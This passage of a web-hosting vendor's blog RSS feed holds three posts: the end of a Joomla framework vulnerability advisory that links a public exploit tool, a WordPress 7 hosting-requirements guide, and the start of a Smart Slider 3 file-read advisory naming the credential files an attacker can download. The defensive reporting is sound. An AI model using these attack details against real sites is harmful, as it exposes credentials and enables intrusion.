&lt;li&gt;&lt;strong&gt;2026-03-30&lt;/strong&gt; 46.5% of affected sites are still unpatched 3,861 of the 8,297 affected sites we can see remain on a vulnerable build, six weeks after the fix and a month after the exploit tool. nrframework is a hidden dependency, so most administrators do not know it is installed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr official security advisory&lt;/a&gt; - the vendor&apos;s own response with patched version numbers for each extension on Joomla 3 and Joomla 4/5/6&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ssd-disclosure.com/joomla-novarain-tassos-framework-vulnerabilities/&quot;&gt;SSD Secure Disclosure - Joomla! Novarain/Tassos Framework Vulnerabilities&lt;/a&gt; - the original disclosure with full technical details and attack chain walkthrough&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla&quot;&gt;CVE-2026-21627 exploit on GitHub&lt;/a&gt; - the public proof-of-concept tool with verify, upload, delete, and RCE modes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627 official record&lt;/a&gt; - the authoritative CVE entry from MITRE/CVE.org&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.threatint.eu/CVE/CVE-2026-21627&quot;&gt;CVE-2026-21627 on THREATINT&lt;/a&gt; - CVSS scoring, CWE classification (CWE-284), and affected version ranges&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - Joomla&apos;s official security advisory feed for core and extension vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the cross-CMS pattern behind Novarain, Astroid, Smart Slider 3, and Joomla core AJAX vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - the same AJAX handler authorisation pattern on WordPress, CVSS 9.8 unauthenticated RCE affecting around 50,000 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Check your sites now.&lt;/strong&gt; If you manage Joomla sites and you&apos;re not sure whether nrframework is installed, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free security audit&lt;/a&gt; on any site - no credit card, no commitment. You&apos;ll see every extension installed, its version, and whether it&apos;s flagged. For sites already compromised, our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; covers the full cleanup process.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>novarain</category><category>tassos</category><category>convert-forms</category><category>engagebox</category><enclosure url="https://mysites.guru/img/og/blog/novarain-framework-joomla-vulnerability.png" length="0" type="image/png"/></item><item><title>WordPress 7 Technical Requirements Check: Is Your Hosting Ready?</title><link>https://mysites.guru/blog/wordpress-7-technical-requirements-check/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-7-technical-requirements-check/</guid><description>WordPress 7 requires PHP 7.4+ and still accepts MySQL 5.5.5+. Run a hosting check across every site to find old PHP and end-of-life database servers.</description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update (21 May 2026): WordPress 7.0 &quot;Armstrong&quot; has shipped.&lt;/p&gt;
  &lt;p&gt;WordPress 7.0 was released on 20 May 2026. &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;mySites.guru is fully compatible&lt;/a&gt; and the hosting check below is still the fastest way to see which sites meet the PHP 7.4 floor and which run an end-of-life database.&lt;/p&gt;
  &lt;p&gt;Correction (2 October 2026): an earlier version of this post said WordPress 7.0 raised the MySQL minimum to 8.0. It did not. The database floor is still MySQL or MariaDB 5.5.5.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 was originally targeting April 9, 2026, but the release has been delayed. It raises the PHP floor: PHP 7.2 and 7.3 are gone. The database minimum stays at MySQL or MariaDB 5.5.5. If you manage a handful of WordPress sites, checking each one manually is tedious. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage dozens or hundreds of WordPress sites&lt;/a&gt;, it’s not realistic.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; in mySites.guru scans every connected WordPress site and shows you exactly which ones meet the new requirements and which don’t. Connect &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; to your account and check them all from one screen. It’s included in all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Check all your WordPress sites for 7.0 compatibility&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;Open WordPress 7 Compatibility Checker&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Colour-codes every connected site&apos;s PHP version, database version, and auto-update status against the WordPress 7.0 requirements.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What the WordPress 7 Hosting Check Shows&lt;/h2&gt;
&lt;p&gt;The tool lists every WordPress site connected to your account. For each one, you see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The currently installed WordPress version&lt;/li&gt;
&lt;li&gt;Which hosting server the site runs on (hostname)&lt;/li&gt;
&lt;li&gt;Whether &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; is set in wp-config.php&lt;/li&gt;
&lt;li&gt;PHP version, colour-coded against the 7.0 requirements&lt;/li&gt;
&lt;li&gt;Database version (MySQL or MariaDB), also colour-coded (see &lt;a href=&quot;https://mysites.guru/blog/mariadb-vs-mysql-joomla-wordpress-sites/&quot;&gt;which databases WordPress sites actually run&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;WordPress 7 Technical Requirements - Hosting Check tool in mySites.guru, showing PHP version, database version, and auto-update status for each connected site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3188px) 3188px, 100vw&quot; width=&quot;3188&quot; height=&quot;3020&quot; src=&quot;https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_KVh3v.webp&quot; srcset=&quot;https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_Z1io20.webp 640w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_jokLD.webp 750w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_oPW8f.webp 828w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_1a6QyR.webp 1080w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_Z24qn8.webp 1280w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_265hYC.webp 1668w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_ZceBeA.webp 2048w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_Z13hVDY.webp 2560w, https://mysites.guru/_astro/wordpress-7-technical-requirements-check-tool.DlTFAc0k_KVh3v.webp 3188w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;span&gt;Red&lt;/span&gt; means PHP too old for WordPress 7.0, or a database past end of life. &lt;span&gt;Yellow&lt;/span&gt; means it works but is below the recommended version. &lt;span&gt;Green&lt;/span&gt; means the recommended version or better. Sites that need action stand out immediately.&lt;/p&gt;
&lt;h2&gt;Red, Yellow, Green: What Each Colour Means&lt;/h2&gt;
&lt;p&gt;The tool uses three tiers:&lt;/p&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Colour&lt;/th&gt;
        &lt;th&gt;PHP&lt;/th&gt;
        &lt;th&gt;MySQL&lt;/th&gt;
        &lt;th&gt;MariaDB&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt; &lt;span&gt;Recommended&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
        &lt;td&gt;8.3+&lt;/td&gt;
        &lt;td&gt;8.4+ (LTS)&lt;/td&gt;
        &lt;td&gt;11.4+ (LTS)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt; &lt;span&gt;Works, below recommended&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
        &lt;td&gt;7.4 - 8.2&lt;/td&gt;
        &lt;td&gt;8.0 - 8.3&lt;/td&gt;
        &lt;td&gt;10.6 - 11.3&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt; &lt;span&gt;Needs attention&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
        &lt;td&gt;&amp;lt; 7.4&lt;/td&gt;
        &lt;td&gt;&amp;lt; 8.0&lt;/td&gt;
        &lt;td&gt;&amp;lt; 10.6&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;Only the PHP column decides whether WordPress 7.0 will install. WordPress still accepts MySQL or MariaDB 5.5.5, so the database colours grade support status instead: yellow covers MySQL 8.0 and MariaDB 10.6, which both reached end of life in 2026, and red covers releases that went out of support earlier. We recommend moving to a current Long Term Support release (MySQL 8.4 or MariaDB 11.4) when you can.&lt;/p&gt;
&lt;p&gt;If you’ve used our &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility checker&lt;/a&gt; or &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla5/compatibility&quot;&gt;Joomla 5 compatibility checker&lt;/a&gt;, you’ll recognise the format. Same approach, adapted for the WordPress 7 requirements.&lt;/p&gt;
&lt;h2&gt;Where Do I Find the WordPress 7 Compatibility Checker?&lt;/h2&gt;
&lt;p&gt;The quickest way is the keyboard shortcut: press &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt; (lowercase c, then the number 7).&lt;/p&gt;
&lt;p&gt;You can also open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; with &lt;code&gt;Cmd+K&lt;/code&gt; (or &lt;code&gt;Ctrl+K&lt;/code&gt; on Windows/Linux), type “wordpress 7” or “compat”, and press Enter.&lt;/p&gt;
&lt;p&gt;Or go straight to the URL: &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;https://manage.mysites.guru/en/tools/wordpress7/compatibility&lt;/a&gt; (you need to be logged in).&lt;/p&gt;
&lt;p&gt;The tool also appears on the &lt;a href=&quot;https://manage.mysites.guru/en/tools/tools/selector&quot;&gt;tools selector page&lt;/a&gt; alongside all the other diagnostic tools.&lt;/p&gt;
&lt;h2&gt;The Auto-Updates Column&lt;/h2&gt;
&lt;p&gt;WordPress has a built-in automatic updater controlled by the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. The tool checks this for every site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;Green&lt;/span&gt; (Disabled) means auto-updates are off. You control when WordPress 7.0 gets applied.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Yellow&lt;/span&gt; (Enabled) means auto-updates are on. The site may upgrade to 7.0 on its own before you’ve verified hosting compatibility.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Does mySites.guru Recommend Disabling Auto-Updates?&lt;/h2&gt;
&lt;p&gt;WordPress auto-updates sound sensible until you’re responsible for client sites, WooCommerce stores, or anything where downtime costs money:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A major version upgrade like 7.0 ships with database changes, new defaults, and deprecated functions. Plugins that worked yesterday can throw errors today.&lt;/li&gt;
&lt;li&gt;Plugin and theme auto-updates can break layouts, conflict with other plugins, or introduce bugs without warning.&lt;/li&gt;
&lt;li&gt;Updates during peak traffic cause temporary downtime, especially on shared hosting.&lt;/li&gt;
&lt;li&gt;There’s no built-in rollback. If an update breaks something at 3am, the site stays broken until someone notices.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The 6.9 to 7.0 jump is exactly the kind of upgrade you want to control. We saw what happens when you don’t: &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 crashed websites&lt;/a&gt; that had auto-updates enabled. A site on PHP 7.3 won’t get 7.0 at all (WordPress blocks it), but a site on PHP 7.4 with an untested plugin stack could auto-upgrade and break before you’ve had a chance to test anything.&lt;/p&gt;
&lt;p&gt;What we recommend: set &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; to stop all background updates, then set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;minor&lt;/code&gt; so security patches (like 7.0.1, 7.0.2) still apply automatically. Point releases ship on their own, major version jumps wait for you.&lt;/p&gt;
&lt;p&gt;mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates across all your sites with one click per site&lt;/a&gt; from a single screen. No SSH, no editing wp-config.php on every server. You can also &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor upgrades only&lt;/a&gt; if you want a middle ground. And if you’re curious what other wp-config constants are worth understanding, we wrote a guide to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; that covers the full set.&lt;/p&gt;
&lt;h2&gt;WordPress 7 Minimum Technical Requirements&lt;/h2&gt;
&lt;p&gt;WordPress 7.0 raises one floor from WordPress 6.9, according to the &lt;a href=&quot;https://make.wordpress.org/hosting/handbook/compatibility/version/7-0/&quot;&gt;WordPress 7.0 hosting handbook&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP minimum moves from 7.2.24 to 7.4. PHP 8.4 or 8.5 is recommended.&lt;/li&gt;
&lt;li&gt;MySQL minimum stays at 5.5.5. MySQL 8.4 LTS is recommended.&lt;/li&gt;
&lt;li&gt;MariaDB minimum stays at 5.5.5. MariaDB 10.11, 11.4 or 11.8 (all LTS) is recommended.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites that don’t meet the PHP minimum won’t be offered the WordPress 7.0 update. They stay on the 6.9 security branch until the hosting is upgraded. For the full breakdown of what changed and why, see our &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7.0 requirements post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What If My Host Doesn’t Meet the Minimum?&lt;/h2&gt;
&lt;p&gt;If your hosting provider is still running PHP 7.2, the site cannot take WordPress 7.0 at all. MySQL 5.7 will still run it, but that is a bigger problem than WordPress compatibility. MySQL 5.7 extended support from Oracle ended in October 2023. PHP 7.2 reached end-of-life in November 2020. Running either in 2026 means your server has known, unpatched security vulnerabilities regardless of what CMS is on it.&lt;/p&gt;
&lt;p&gt;Most hosts let you change PHP versions from cPanel or Plesk without a support ticket. MySQL upgrades are usually on the host’s side. If they haven’t upgraded to MySQL 8 by now, the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 5 MySQL 8 migration wave&lt;/a&gt; already pressured most providers to move, so check with your host. If they still can’t offer MySQL 8, it might be time to switch.&lt;/p&gt;
&lt;p&gt;Use the compatibility checker to filter by server hostname. That groups all your sites on the same host together, so you can see at a glance which hosting providers need attention. Once hosting is sorted, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;upgrade all your WordPress sites from one dashboard&lt;/a&gt; rather than logging into each one individually.&lt;/p&gt;
&lt;h2&gt;Questions?&lt;/h2&gt;
&lt;p&gt;If anything’s unclear, reach out through the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A few other things worth sorting before the release: &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerability alerting&lt;/a&gt; catches security issues across your portfolio, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt; prevents clients from adding untested plugins right before a major upgrade, and &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate monitoring&lt;/a&gt; makes sure expired certs don’t add to the chaos during the transition.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>php</category><category>hosting</category><category>updates</category><category>compatibility</category><enclosure url="https://mysites.guru/img/og/blog/wordpress-7-technical-requirements-check.png" length="0" type="image/png"/></item><item><title>Smart Slider 3 Hack Allows Any File to Be Downloaded</title><link>https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/</guid><description>CVE-2026-3098 lets any subscriber download wp-config.php from 800,000 WordPress sites running Smart Slider 3. How to check and fix it.</description><pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Critical update - April 8, 2026&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;Smart Slider 3 Pro &lt;span&gt;3.5.1.35&lt;/span&gt; was a supply-chain attack&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;Since this post was published, a security breach affected the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version &lt;strong&gt;3.5.1.35&lt;/strong&gt;, which may have been installed on some websites before the issue was detected. The compromised release contains a remote code execution backdoor that runs shell commands or arbitrary PHP via a single query parameter, and it affects &lt;strong&gt;both the WordPress and Joomla editions&lt;/strong&gt; of Smart Slider 3 Pro.&lt;/p&gt;
&lt;p&gt;If your site is currently on 3.5.1.34 (the version this post recommended last week), you are still safe, but you must &lt;strong&gt;skip 3.5.1.35 entirely and update directly to 3.5.1.36 or later&lt;/strong&gt;. If your site ran 3.5.1.35 at any point, treat it as compromised: run the indicator-of-compromise checks and use Nextend&apos;s official cleanup script.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&lt;span&gt;Last safe&lt;/span&gt;&lt;span&gt;3.5.1.34&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Compromised&lt;/span&gt;&lt;span&gt;&lt;s&gt;3.5.1.35&lt;/s&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Update to&lt;/span&gt;&lt;span&gt;3.5.1.36+&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;&lt;span&gt;Read the full supply-chain compromise post&lt;/span&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;Smart Slider 3, one of the most popular slider plugins for WordPress with over 800,000 active installations, has a vulnerability that lets any registered user download &lt;strong&gt;any file from your server&lt;/strong&gt;. Not just images or slider assets. Any file the web server process can read.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; with your database credentials. &lt;code&gt;/etc/passwd&lt;/code&gt;. Your &lt;code&gt;.env&lt;/code&gt; file. Private SSL keys. Database backup files sitting in a directory someone forgot to protect. Payment gateway configs. SMTP credentials. If it’s on the filesystem and readable by the web server, an attacker with nothing more than a free subscriber account can download it.&lt;/p&gt;
&lt;p&gt;The vulnerability (&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smart-slider-3&quot;&gt;CVE-2026-3098&lt;/a&gt;, CVSS 6.5 Medium) affects all versions up to and including 3.5.1.33. If you run Smart Slider 3, update to &lt;span&gt;&lt;strong&gt;version 3.5.1.34&lt;/strong&gt;&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend’s update channel. Skip 3.5.1.35 and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;3.5.1.36+&lt;/a&gt; now.&lt;/p&gt;
&lt;p&gt;This was &lt;a href=&quot;https://www.wordfence.com/blog/2026/03/800000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-smart-slider-3-wordpress-plugin/&quot;&gt;first reported by Wordfence&lt;/a&gt;, but their disclosure doesn’t mention Joomla once. Smart Slider 3 also ships as a Joomla extension, and we’ve confirmed it shares the same vulnerable codebase - identical files, identical hashes. If you manage Joomla sites, &lt;a href=&quot;#is-the-joomla-version-of-smart-slider-3-also-vulnerable&quot;&gt;read the Joomla section below&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;&lt;span&gt;TL;DR&lt;span&gt;&quot;Too Long; Didn&apos;t Read&quot; - a quick summary of the key points.&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-3098&lt;/strong&gt; - CVSS 6.5 arbitrary file read in Smart Slider 3 versions up to 3.5.1.33&lt;/li&gt;
&lt;li&gt;Any subscriber-level user can download any file the web server can read: &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;/etc/passwd&lt;/code&gt;, private keys, database backups, payment configs&lt;/li&gt;
&lt;li&gt;Update to &lt;span&gt;&lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;Smart Slider 3.5.1.34&lt;/a&gt;&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release. Skip it and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; - now use &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;3.5.1.36+&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;After updating, regenerate your authentication keys/salts and change your database password&lt;/li&gt;
&lt;li&gt;Sites with open user registration are at highest risk&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Update now. Don&apos;t wait.&lt;/p&gt;
  &lt;p&gt;This vulnerability is public knowledge. The exploit requires only a free subscriber account. If your site allows any form of user registration, every minute you wait is a minute an attacker could be downloading your database credentials, private keys, and every other sensitive file on your server.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Many mySites.guru Users Are Affected by Smart Slider 3?&lt;/h2&gt;
&lt;p&gt;We checked our database this morning. Across the thousands of agencies using mySites.guru:&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;724&lt;/p&gt;
    &lt;p&gt;Agencies affected&lt;/p&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;p&gt;7,869&lt;/p&gt;
    &lt;p&gt;Sites running vulnerable versions&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Every one of those agencies already has a warning in their mySites.guru dashboard, because the &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Wordfence Vulnerability API is built into the platform&lt;/a&gt; and flagged it automatically. All 724 are being emailed today.&lt;/p&gt;
&lt;p&gt;Those 724 agencies didn’t need to read this post to know they had a problem. They already knew.&lt;/p&gt;
&lt;h3&gt;How Does the mySites.guru Detection of Smart Slider 3 Work?&lt;/h3&gt;
&lt;p&gt;Twice a day, a snapshot runs on each connected WordPress site, collecting every installed plugin and its version number. That list gets cross-referenced against Wordfence, CVE/Mitre, and custom threat intelligence databases.&lt;/p&gt;
&lt;p&gt;If your site runs Smart Slider 3 version 3.5.1.33 or earlier, it gets flagged with the specific CVE, severity rating, and a direct link to the advisory. No manual checking required.&lt;/p&gt;
&lt;p&gt;This isn’t the first time mySites.guru has flagged Smart Slider 3 either. The plugin had a previous SQL Injection vulnerability (CVE-2025-6348) in versions up to 3.5.1.28 that was also caught automatically. Here’s what the vulnerability warning looks like in the mySites.guru dashboard:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru dashboard showing vulnerability warnings for Smart Slider 3 SQL Injection and other vulnerable plugins, with red Read More buttons and an urgent upgrade banner&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2658px) 2658px, 100vw&quot; width=&quot;2658&quot; height=&quot;1326&quot; src=&quot;https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_ZAkO6i.webp&quot; srcset=&quot;https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_ZTw7Us.webp 640w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_LMyy0.webp 750w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_29qGYi.webp 828w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_1wPVkM.webp 1080w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_ZR8YtI.webp 1280w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_Z1DvCEK.webp 1668w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_dN7Mn.webp 2048w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_2h2xpK.webp 2560w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-vulnerability-warning.DR6Y7Ora_ZAkO6i.webp 2658w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every vulnerable plugin version gets its own entry with the full advisory text, so you know exactly what the risk is before deciding how urgently to patch.&lt;/p&gt;
&lt;h3&gt;How to Quickly Find Which Sites Have Smart Slider 3 Installed with mySites.guru&lt;/h3&gt;
&lt;p&gt;When a vulnerability like this drops, the first question is: “Which of my sites have this installed?” If you manage 50 or 200 client sites, you don’t have time to log into each one and check the plugins page.&lt;/p&gt;
&lt;p&gt;mySites.guru indexes every plugin on every connected site. One URL gives you the complete list of every site running Smart Slider 3, broken down by version number, with the site’s PHP version, WordPress version, and SSL status alongside it:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru extension search showing all sites with Smart Slider 3 installed, grouped by version number from 3.5.1.17 through 3.5.1.34, with each site&apos;s PHP version, WordPress version, and SSL status visible&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3186px) 3186px, 100vw&quot; width=&quot;3186&quot; height=&quot;2890&quot; src=&quot;https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_Z1WjcX.webp&quot; srcset=&quot;https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_Z2szg3k.webp 640w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_9V0Xr.webp 750w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_15cdD9.webp 828w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_1xnwtg.webp 1080w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_Z1fJsJU.webp 1280w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_ZU1309.webp 1668w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_Z2cqceU.webp 2048w, 